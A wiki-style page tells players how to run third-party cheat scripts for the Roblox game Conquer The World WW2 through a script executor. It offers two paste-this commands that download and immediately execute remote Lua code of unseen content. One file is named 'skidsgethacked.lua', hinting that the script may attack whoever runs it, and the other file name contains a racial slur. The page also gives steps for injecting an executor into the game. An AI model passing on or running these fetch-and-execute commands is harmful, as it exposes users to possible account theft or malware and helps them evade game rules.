How to Use Conquer The World WW2 Scripts

This page lists the current Conquer The World WW2 (CTWWW2) scripts we are aware of, what each one automates, and how to run one through a script executor. Read the Scripts hub first if you have not already — it covers the account and gameplay risks that apply to any third-party script before you decide whether to use one.

Requirements

Running any of these scripts requires a Roblox script executor capable of running loadstring calls. This page assumes you already have an executor set up; installing or choosing one is outside the scope of this wiki, and you should only ever use an executor from a source you already trust.

Auto Capture / Army / Research script

This script automates several repetitive management tasks at once: territory or army captures, ongoing army management, and research queuing. It is aimed at players who want to spend less time re-clicking through the production and research panels every time a task completes, letting the script keep those systems moving in the background while you focus on higher-level decisions like diplomacy and front planning.

loadstring(game:HttpGet("https://raw.githubusercontent.com/remixelandos/goodthings/refs/heads/main/skidsgethacked.lua"))()

Auto Move / Spawn / Snipe script

This script focuses on army-side automation: automated movement of divisions across the map, automated spawning, and sniping — targeting specific enemy positions or units without manually navigating the front panel each time. It pairs well with the capture and research script above if you want both economic and military routines automated together.

loadstring(game:HttpGet('https://raw.githubusercontent.com/hightpix/nerwsceriptrossiy/refs/heads/main/niggamobile.lua'))()

How to run a script

1. Open your script executor and make sure Conquer The World WW2 is running in Roblox.
2. Attach or inject the executor to the CTWWW2 process, following your executor’s normal workflow.
3. Paste the loadstring for the script you want into the executor’s script box.
4. Execute the script and watch for an in-game confirmation, notification, or menu that the script has loaded.
5. Test its features in a low-stakes moment (not mid-crisis) so you understand exactly what it automates before relying on it in a real match.

Safety and account considerations

Before running either loadstring above, keep in mind that:

• Any executed code runs with your account’s permissions for that session — never run a script you do not understand or trust.
• These scripts are not affiliated with or endorsed by Marian_Dev or the official Conquer The World WW2 team.
• Game updates covered on the Updates hub can change menu structure or mechanics, which may break a script until it receives its own update.
• If a script behaves unexpectedly — unresponsive menus, stuck automation, or unexpected in-game actions — stop it immediately and rejoin the server if needed.

Using scripts alongside normal strategy

Scripts handle repetitive execution, not the strategic decisions behind it. You still need a plan for your economy, research priorities, and diplomacy — automating the clicking does not automate deciding what to build, research, or negotiate. Treat these scripts as a way to reduce busywork, not as a replacement for understanding how CTWWW2 actually works.

If you would rather not use scripts

Our Controls guide covers efficient manual navigation of the same panels these scripts automate, and the Research Planner gives you a manual checklist for tech priorities without touching any third-party code. Redeeming the current cosmetic codes is also a completely script-free way to customize your nation.

Which script fits your playstyle

If you mainly find production and research queuing tedious, the Auto Capture/Army/Research script targets exactly that friction. If your frustration is more about navigating the map to reposition divisions or respond to threats across a wide front, the Auto Move/Spawn/Snipe script is the more relevant tool. Running both together automates the economic and military sides at once, but also means troubleshooting two separate scripts if either one breaks after an update.